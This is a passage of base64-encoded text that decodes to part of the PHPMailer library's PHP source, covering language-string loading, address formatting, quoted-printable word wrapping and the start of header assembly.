CAqIFRoZSBkZWZhdWx0IGxhbmd1YWdlIGlzIEVuZ2xpc2guCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSBJU08gNjM5LTEgMi1jaGFyYWN0ZXIgbGFuZ3VhZ2UgY29kZSAoZS5nLiBGcmVuY2ggaXMgImZyIikKICAgICAqIEBwYXJhbSBzdHJpbmcgJGxhbmdfcGF0aCBQYXRoIHRvIHRoZSBsYW5ndWFnZSBmaWxlIGRpcmVjdG9yeSwgd2l0aCB0cmFpbGluZyBzZXBhcmF0b3IgKHNsYXNoKQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZ3VhZ2UoJGxhbmdjb2RlID0gJ2VuJywgJGxhbmdfcGF0aCA9ICcnKQogICAgewogICAgICAgIC8vIEJhY2t3YXJkcyBjb21wYXRpYmlsaXR5IGZvciByZW5hbWVkIGxhbmd1YWdlIGNvZGVzCiAgICAgICAgJHJlbmFtZWRfbGFuZ2NvZGVzID0gYXJyYXkoCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywKICAgICAgICAgICAgJ2N6JyA9PiAnY3MnLAogICAgICAgICAgICAnZGsnID0+ICdkYScsCiAgICAgICAgICAgICdubycgPT4gJ25iJywKICAgICAgICAgICAgJ3NlJyA9PiAnc3YnLAogICAgICAgICAgICAnc3InID0+ICdycycKICAgICAgICApOwoKICAgICAgICBpZiAoaXNzZXQoJHJlbmFtZWRfbGFuZ2NvZGVzWyRsYW5nY29kZV0pKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdOwogICAgICAgIH0KCiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBhcnJheSgKICAgICAgICAgICAgJ2F1dGhlbnRpY2F0ZScgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBhdXRoZW50aWNhdGUuJywKICAgICAgICAgICAgJ2Nvbm5lY3RfaG9zdCcgPT4gJ1NNVFAgRXJyb3I6IENvdWxkIG5vdCBjb25uZWN0IHRvIFNNVFAgaG9zdC4nLAogICAgICAgICAgICAnZGF0YV9ub3RfYWNjZXB0ZWQnID0+ICdTTVRQIEVycm9yOiBkYXRhIG5vdCBhY2NlcHRlZC4nLAogICAgICAgICAgICAnZW1wdHlfbWVzc2FnZScgPT4gJ01lc3NhZ2UgYm9keSBlbXB0eScsCiAgICAgICAgICAgICdlbmNvZGluZycgPT4gJ1Vua25vd24gZW5jb2Rpbmc6ICcsCiAgICAgICAgICAgICdleGVjdXRlJyA9PiAnQ291bGQgbm90IGV4ZWN1dGU6ICcsCiAgICAgICAgICAgICdmaWxlX2FjY2VzcycgPT4gJ0NvdWxkIG5vdCBhY2Nlc3MgZmlsZTogJywKICAgICAgICAgICAgJ2ZpbGVfb3BlbicgPT4gJ0ZpbGUgRXJyb3I6IENvdWxkIG5vdCBvcGVuIGZpbGU6ICcsCiAgICAgICAgICAgICdmcm9tX2ZhaWxlZCcgPT4gJ1RoZSBmb2xsb3dpbmcgRnJvbSBhZGRyZXNzIGZhaWxlZDogJywKICAgICAgICAgICAgJ2luc3RhbnRpYXRlJyA9PiAnQ291bGQgbm90IGluc3RhbnRpYXRlIG1haWwgZnVuY3Rpb24uJywKICAgICAgICAgICAgJ2ludmFsaWRfYWRkcmVzcycgPT4gJ0ludmFsaWQgYWRkcmVzczogJywKICAgICAgICAgICAgJ21haWxlcl9ub3Rfc3VwcG9ydGVkJyA9PiAnIG1haWxlciBpcyBub3Qgc3VwcG9ydGVkLicsCiAgICAgICAgICAgICdwcm92aWRlX2FkZHJlc3MnID0+ICdZb3UgbXVzdCBwcm92aWRlIGF0IGxlYXN0IG9uZSByZWNpcGllbnQgZW1haWwgYWRkcmVzcy4nLAogICAgICAgICAgICAncmVjaXBpZW50c19mYWlsZWQnID0+ICdTTVRQIEVycm9yOiBUaGUgZm9sbG93aW5nIHJlY2lwaWVudHMgZmFpbGVkOiAnLAogICAgICAgICAgICAnc2lnbmluZycgPT4gJ1NpZ25pbmcgRXJyb3I6ICcsCiAgICAgICAgICAgICdzbXRwX2Nvbm5lY3RfZmFpbGVkJyA9PiAnU01UUCBjb25uZWN0KCkgZmFpbGVkLicsCiAgICAgICAgICAgICdzbXRwX2Vycm9yJyA9PiAnU01UUCBzZXJ2ZXIgZXJyb3I6ICcsCiAgICAgICAgICAgICd2YXJpYWJsZV9zZXQnID0+ICdDYW5ub3Qgc2V0IG9yIHJlc2V0IHZhcmlhYmxlOiAnLAogICAgICAgICAgICAnZXh0ZW5zaW9uX21pc3NpbmcnID0+ICdFeHRlbnNpb24gbWlzc2luZzogJwogICAgICAgICk7CiAgICAgICAgaWYgKGVtcHR5KCRsYW5nX3BhdGgpKSB7CiAgICAgICAgICAgIC8vIENhbGN1bGF0ZSBhbiBhYnNvbHV0ZSBwYXRoIHNvIGl0IGNhbiB3b3JrIGlmIENXRCBpcyBub3QgaGVyZQogICAgICAgICAgICAkbGFuZ19wYXRoID0gZGlybmFtZShfX0ZJTEVfXykuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnbGFuZ3VhZ2UnLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg\/Ol9bYS16QS1aXXsyfSk\/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cnVlOwogICAgICAgICRsYW5nX2ZpbGUgPSAkbGFuZ19wYXRoIC4gJ3BocG1haWxlci5sYW5nLScgLiAkbGFuZ2NvZGUgLiAnLnBocCc7CiAgICAgICAgLy8gVGhlcmUgaXMgbm8gRW5nbGlzaCB0cmFuc2xhdGlvbiBmaWxlCiAgICAgICAgaWYgKCRsYW5nY29kZSAhPSAnZW4nKSB7CiAgICAgICAgICAgIC8vIE1ha2Ugc3VyZSBsYW5ndWFnZSBmaWxlIHBhdGggaXMgcmVhZGFibGUKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJGxhbmdfZmlsZSkgb3IgIWlzX3JlYWRhYmxlKCRsYW5nX2ZpbGUpKSB7CiAgICAgICAgICAgICAgICAkZm91bmRsYW5nID0gZmFsc2U7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAvLyBPdmVyd3JpdGUgbGFuZ3VhZ2Utc3BlY2lmaWMgc3RyaW5ncy4KICAgICAgICAgICAgICAgIC8vIFRoaXMgd2F5IHdlJ2xsIG5ldmVyIGhhdmUgbWlzc2luZyB0cmFuc2xhdGlvbiBrZXlzLgogICAgICAgICAgICAgICAgJGZvdW5kbGFuZyA9IGluY2x1ZGUgJGxhbmdfZmlsZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+bGFuZ3VhZ2UgPSAkUEhQTUFJTEVSX0xBTkc7CiAgICAgICAgcmV0dXJuIChib29sZWFuKSRmb3VuZGxhbmc7IC8vIFJldHVybnMgZmFsc2UgaWYgbGFuZ3VhZ2Ugbm90IGZvdW5kCiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIGFycmF5IG9mIHN0cmluZ3MgZm9yIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VHJhbnNsYXRpb25zKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmxhbmd1YWdlOwogICAgfQoKICAgIC8qKgogICAgICogQ3JlYXRlIHJlY2lwaWVudCBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUKICAgICAqIEBwYXJhbSBhcnJheSAkYWRkciBBbiBhcnJheSBvZiByZWNpcGllbnQsCiAgICAgKiB3aGVyZSBlYWNoIHJlY2lwaWVudCBpcyBhIDItZWxlbWVudCBpbmRleGVkIGFycmF5IHdpdGggZWxlbWVudCAwIGNvbnRhaW5pbmcgYW4gYWRkcmVzcwogICAgICogYW5kIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZSwgbGlrZToKICAgICAqIGFycmF5KGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKSwgYXJyYXkoJ3pvZUBleGFtcGxlLmNvbScsICdab2UgVXNlcicpKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJBcHBlbmQoJHR5cGUsICRhZGRyKQogICAgewogICAgICAgICRhZGRyZXNzZXMgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRhZGRyIGFzICRhZGRyZXNzKSB7CiAgICAgICAgICAgICRhZGRyZXNzZXNbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCRhZGRyZXNzKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0eXBlIC4gJzogJyAuIGltcGxvZGUoJywgJywgJGFkZHJlc3NlcykgLiAkdGhpcy0+TEU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYW4gYWRkcmVzcyBmb3IgdXNlIGluIGEgbWVzc2FnZSBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIGFycmF5ICRhZGRyIEEgMi1lbGVtZW50IGluZGV4ZWQgYXJyYXksIGVsZW1lbnQgMCBjb250YWluaW5nIGFuIGFkZHJlc3MsIGVsZW1lbnQgMSBjb250YWluaW5nIGEgbmFtZQogICAgICogICAgICBsaWtlIGFycmF5KCdqb2VAZXhhbXBsZS5jb20nLCAnSm9lIFVzZXInKQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZHJGb3JtYXQoJGFkZHIpCiAgICB7CiAgICAgICAgaWYgKGVtcHR5KCRhZGRyWzFdKSkgeyAvLyBObyBuYW1lIHByb3ZpZGVkCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzBdKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRhZGRyWzFdKSwgJ3BocmFzZScpIC4gJyA8JyAuICR0aGlzLT5zZWN1cmVIZWFkZXIoCiAgICAgICAgICAgICAgICAkYWRkclswXQogICAgICAgICAgICApIC4gJz4nOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFdvcmQtd3JhcCBtZXNzYWdlLgogICAgICogRm9yIHVzZSB3aXRoIG1haWxlcnMgdGhhdCBkbyBub3QgYXV0b21hdGljYWxseSBwZXJmb3JtIHdyYXBwaW5nCiAgICAgKiBhbmQgZm9yIHF1b3RlZC1wcmludGFibGUgZW5jb2RlZCBtZXNzYWdlcy4KICAgICAqIE9yaWdpbmFsIHdyaXR0ZW4gYnkgcGhpbGlwcGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlIFRoZSBtZXNzYWdlIHRvIHdyYXAKICAgICAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggVGhlIGxpbmUgbGVuZ3RoIHRvIHdyYXAgdG8KICAgICAqIEBwYXJhbSBib29sZWFuICRxcF9tb2RlIFdoZXRoZXIgdG8gcnVuIGluIFF1b3RlZC1QcmludGFibGUgbW9kZQogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiB3cmFwVGV4dCgkbWVzc2FnZSwgJGxlbmd0aCwgJHFwX21vZGUgPSBmYWxzZSkKICAgIHsKICAgICAgICBpZiAoJHFwX21vZGUpIHsKICAgICAgICAgICAgJHNvZnRfYnJlYWsgPSBzcHJpbnRmKCcgPSVzJywgJHRoaXMtPkxFKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc29mdF9icmVhayA9ICR0aGlzLT5MRTsKICAgICAgICB9CiAgICAgICAgLy8gSWYgdXRmLTggZW5jb2RpbmcgaXMgdXNlZCwgd2Ugd2lsbCBuZWVkIHRvIG1ha2Ugc3VyZSB3ZSBkb24ndAogICAgICAgIC8vIHNwbGl0IG11bHRpYnl0ZSBjaGFyYWN0ZXJzIHdoZW4gd2Ugd3JhcAogICAgICAgICRpc191dGY4ID0gKHN0cnRvbG93ZXIoJHRoaXMtPkNoYXJTZXQpID09ICd1dGYtOCcpOwogICAgICAgICRsZWxlbiA9IHN0cmxlbigkdGhpcy0+TEUpOwogICAgICAgICRjcmxmbGVuID0gc3RybGVuKHNlbGY6OkNSTEYpOwoKICAgICAgICAkbWVzc2FnZSA9ICR0aGlzLT5maXhFT0woJG1lc3NhZ2UpOwogICAgICAgIC8vUmVtb3ZlIGEgdHJhaWxpbmcgbGluZSBicmVhawogICAgICAgIGlmIChzdWJzdHIoJG1lc3NhZ2UsIC0kbGVsZW4pID09ICR0aGlzLT5MRSkgewogICAgICAgICAgICAkbWVzc2FnZSA9IHN1YnN0cigkbWVzc2FnZSwgMCwgLSRsZWxlbik7CiAgICAgICAgfQoKICAgICAgICAvL1NwbGl0IG1lc3NhZ2UgaW50byBsaW5lcwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkbWVzc2FnZSk7CiAgICAgICAgLy9NZXNzYWdlIHdpbGwgYmUgcmVidWlsdCBpbiBoZXJlCiAgICAgICAgJG1lc3NhZ2UgPSAnJzsKICAgICAgICBmb3JlYWNoICgkbGluZXMgYXMgJGxpbmUpIHsKICAgICAgICAgICAgJHdvcmRzID0gZXhwbG9kZSgnICcsICRsaW5lKTsKICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAkZmlyc3R3b3JkID0gdHJ1ZTsKICAgICAgICAgICAgZm9yZWFjaCAoJHdvcmRzIGFzICR3b3JkKSB7CiAgICAgICAgICAgICAgICBpZiAoJHFwX21vZGUgYW5kIChzdHJsZW4oJHdvcmQpID4gJGxlbmd0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkc3BhY2VfbGVmdCA9ICRsZW5ndGggLSBzdHJsZW4oJGJ1ZikgLSAkY3JsZmxlbjsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmaXJzdHdvcmQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRzcGFjZV9sZWZ0ID4gMjApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkc3BhY2VfbGVmdDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSAkdGhpcy0+dXRmOENoYXJCb3VuZGFyeSgkd29yZCwgJGxlbik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMSwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDIsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gLT0gMjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXJ0ID0gc3Vic3RyKCR3b3JkLCAwLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3b3JkID0gc3Vic3RyKCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnIC4gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSAuPSAkYnVmIC4gJHNvZnRfYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZiA9ICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB3aGlsZSAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsZW5ndGggPD0gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICRsZW5ndGg7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9ICR0aGlzLT51dGY4Q2hhckJvdW5kYXJ5KCR3b3JkLCAkbGVuKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKHN1YnN0cigkd29yZCwgJGxlbiAtIDEsIDEpID09ICc9JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbi0tOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoc3Vic3RyKCR3b3JkLCAkbGVuIC0gMiwgMSkgPT0gJz0nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGVuIC09IDI7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhcnQgPSBzdWJzdHIoJHdvcmQsIDAsICRsZW4pOwogICAgICAgICAgICAgICAgICAgICAgICAkd29yZCA9IHN1YnN0cigkd29yZCwgJGxlbik7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCR3b3JkKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRwYXJ0IC4gc3ByaW50ZignPSVzJywgc2VsZjo6Q1JMRik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHBhcnQ7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRidWZfbyA9ICRidWY7CiAgICAgICAgICAgICAgICAgICAgaWYgKCEkZmlyc3R3b3JkKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRidWYgLj0gJyAnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkYnVmIC49ICR3b3JkOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRidWYpID4gJGxlbmd0aCBhbmQgJGJ1Zl9vICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWZfbyAuICRzb2Z0X2JyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICAkYnVmID0gJHdvcmQ7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGZpcnN0d29yZCA9IGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRtZXNzYWdlIC49ICRidWYgLiBzZWxmOjpDUkxGOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuICRtZXNzYWdlOwogICAgfQoKICAgIC8qKgogICAgICogRmluZCB0aGUgbGFzdCBjaGFyYWN0ZXIgYm91bmRhcnkgcHJpb3IgdG8gJG1heExlbmd0aCBpbiBhIHV0Zi04CiAgICAgKiBxdW90ZWQtcHJpbnRhYmxlIGVuY29kZWQgc3RyaW5nLgogICAgICogT3JpZ2luYWwgd3JpdHRlbiBieSBDb2xpbiBCcm93bi4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGVkVGV4dCB1dGYtOCBRUCB0ZXh0CiAgICAgKiBAcGFyYW0gaW50ZWdlciAkbWF4TGVuZ3RoIEZpbmQgdGhlIGxhc3QgY2hhcmFjdGVyIGJvdW5kYXJ5IHByaW9yIHRvIHRoaXMgbGVuZ3RoCiAgICAgKiBAcmV0dXJuIGludGVnZXIKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHV0ZjhDaGFyQm91bmRhcnkoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoKQogICAgewogICAgICAgICRmb3VuZFNwbGl0UG9zID0gZmFsc2U7CiAgICAgICAgJGxvb2tCYWNrID0gMzsKICAgICAgICB3aGlsZSAoISRmb3VuZFNwbGl0UG9zKSB7CiAgICAgICAgICAgICRsYXN0Q2h1bmsgPSBzdWJzdHIoJGVuY29kZWRUZXh0LCAkbWF4TGVuZ3RoIC0gJGxvb2tCYWNrLCAkbG9va0JhY2spOwogICAgICAgICAgICAkZW5jb2RlZENoYXJQb3MgPSBzdHJwb3MoJGxhc3RDaHVuaywgJz0nKTsKICAgICAgICAgICAgaWYgKGZhbHNlICE9PSAkZW5jb2RlZENoYXJQb3MpIHsKICAgICAgICAgICAgICAgIC8vIEZvdW5kIHN0YXJ0IG9mIGVuY29kZWQgY2hhcmFjdGVyIGJ5dGUgd2l0aGluICRsb29rQmFjayBibG9jay4KICAgICAgICAgICAgICAgIC8vIENoZWNrIHRoZSBlbmNvZGVkIGJ5dGUgdmFsdWUgKHRoZSAyIGNoYXJzIGFmdGVyIHRoZSAnPScpCiAgICAgICAgICAgICAgICAkaGV4ID0gc3Vic3RyKCRlbmNvZGVkVGV4dCwgJG1heExlbmd0aCAtICRsb29rQmFjayArICRlbmNvZGVkQ2hhclBvcyArIDEsIDIpOwogICAgICAgICAgICAgICAgJGRlYyA9IGhleGRlYygkaGV4KTsKICAgICAgICAgICAgICAgIGlmICgkZGVjIDwgMTI4KSB7CiAgICAgICAgICAgICAgICAgICAgLy8gU2luZ2xlIGJ5dGUgY2hhcmFjdGVyLgogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoZSBlbmNvZGVkIGNoYXIgd2FzIGZvdW5kIGF0IHBvcyAwLCBpdCB3aWxsIGZpdAogICAgICAgICAgICAgICAgICAgIC8vIG90aGVyd2lzZSByZWR1Y2UgbWF4TGVuZ3RoIHRvIHN0YXJ0IG9mIHRoZSBlbmNvZGVkIGNoYXIKICAgICAgICAgICAgICAgICAgICBpZiAoJGVuY29kZWRDaGFyUG9zID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWF4TGVuZ3RoID0gJG1heExlbmd0aCAtICgkbG9va0JhY2sgLSAkZW5jb2RlZENoYXJQb3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkZm91bmRTcGxpdFBvcyA9IHRydWU7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGRlYyA+PSAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBGaXJzdCBieXRlIG9mIGEgbXVsdGkgYnl0ZSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICAgICAvLyBSZWR1Y2UgbWF4TGVuZ3RoIHRvIHNwbGl0IGF0IHN0YXJ0IG9mIGNoYXJhY3RlcgogICAgICAgICAgICAgICAgICAgICRtYXhMZW5ndGggPSAkbWF4TGVuZ3RoIC0gKCRsb29rQmFjayAtICRlbmNvZGVkQ2hhclBvcyk7CiAgICAgICAgICAgICAgICAgICAgJGZvdW5kU3BsaXRQb3MgPSB0cnVlOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRkZWMgPCAxOTIpIHsKICAgICAgICAgICAgICAgICAgICAvLyBNaWRkbGUgYnl0ZSBvZiBhIG11bHRpIGJ5dGUgY2hhcmFjdGVyLCBsb29rIGZ1cnRoZXIgYmFjawogICAgICAgICAgICAgICAgICAgICRsb29rQmFjayArPSAzOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gTm8gZW5jb2RlZCBjaGFyYWN0ZXIgZm91bmQKICAgICAgICAgICAgICAgICRmb3VuZFNwbGl0UG9zID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJG1heExlbmd0aDsKICAgIH0KCiAgICAvKioKICAgICAqIEFwcGx5IHdvcmQgd3JhcHBpbmcgdG8gdGhlIG1lc3NhZ2UgYm9keS4KICAgICAqIFdyYXBzIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhlIG51bWJlciBvZiBjaGFycyBzZXQgaW4gdGhlIFdvcmRXcmFwIHByb3BlcnR5LgogICAgICogWW91IHNob3VsZCBvbmx5IGRvIHRoaXMgdG8gcGxhaW4tdGV4dCBib2RpZXMgYXMgd3JhcHBpbmcgSFRNTCB0YWdzIG1heSBicmVhayB0aGVtLgogICAgICogVGhpcyBpcyBjYWxsZWQgYXV0b21hdGljYWxseSBieSBjcmVhdGVCb2R5KCksIHNvIHlvdSBkb24ndCBuZWVkIHRvIGNhbGwgaXQgeW91cnNlbGYuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRXb3JkV3JhcCgpCiAgICB7CiAgICAgICAgaWYgKCR0aGlzLT5Xb3JkV3JhcCA8IDEpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgc3dpdGNoICgkdGhpcy0+bWVzc2FnZV90eXBlKSB7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICBjYXNlICdhbHRfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJHRoaXMtPkFsdEJvZHkgPSAkdGhpcy0+d3JhcFRleHQoJHRoaXMtPkFsdEJvZHksICR0aGlzLT5Xb3JkV3JhcCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5Cb2R5ID0gJHRoaXMtPndyYXBUZXh0KCR0aGlzLT5Cb2R5LCAkdGhpcy0+V29yZFdyYXApOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogQXNzZW1ibGUgbWVzc2FnZSBoZWFkZXJzLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBhc3NlbWJsZWQgaGVhZGVycwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY3JlYXRlSGVhZGVyKCkKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CgogICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0RhdGUnLCAkdGhpcy0+TWVzc2FnZURhdGUgPT0gJycgPyBzZWxmOjpyZmNEYXRlKCkgOiAkdGhpcy0+TWVzc2FnZURhdGUpOwoKICAgICAgICAvLyBUbyBiZSBjcmVhdGVkIGF1dG9tYXRpY2FsbHkgYnkgbWFpbCgpCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT50byBhcyAkdG9hZGRyKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlNpbmdsZVRvQXJyYXlbXSA9ICR0aGlzLT5hZGRyRm9ybWF0KCR0b2FkZHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPk1haWxlciAhPSAnbWFpbCcpIHsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdUbycsICR0aGlzLT50byk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmIChjb3VudCgkdGhpcy0+Y2MpID09IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5hZGRyQXBwZW5kKCdGcm9tJywgYXJyYXkoYXJyYXkodHJpbSgkdGhpcy0+RnJvbSksICR0aGlzLT5Gcm9tTmFtZSkpKTsKCiAgICAgICAgLy8gc2VuZG1haWwgYW5kIG1haWwoKSBleHRyYWN0IENjIGZyb20gdGhlIGhlYWRlciBiZWZvcmUgc2VuZGluZwogICAgI